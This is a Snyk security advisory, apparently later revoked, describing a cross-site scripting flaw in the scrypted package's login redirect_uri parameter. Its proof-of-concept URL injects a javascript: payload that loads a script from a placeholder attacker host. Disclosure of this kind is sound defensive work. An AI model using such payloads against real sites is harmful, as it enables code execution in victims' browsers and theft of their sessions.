Cross-site Scripting The advisory has been revoked - it doesn't affect any version of package scrypted  (opens in a new tab)


Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.06% (28th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Scripting vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-SCRYPTED-6128852
  • published15 Dec 2023
  • disclosed13 Dec 2023
  • creditKevin Stubbings

Introduced: 13 Dec 2023

CVE-2023-47623  (opens in a new tab)
CWE-79  (opens in a new tab)

How to fix?

There is no fixed version for scrypted.

Amendment

This was deemed not a vulnerability.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting in the login page via the redirect_uri parameter. An attacker can execute arbitrary JavaScript code on the victim's browser by specifying a URL with the JavaScript scheme (javascript:) after the login. This issue may lead to Remote Code Execution.

PoC


https://localhost:10443/endpoint/test/test?redirect_uri=javascript:var%20script%20=%20document.createElement('script');script.src%20=%20'https://attacker.domain';%20document.head.appendChild(script);#//

References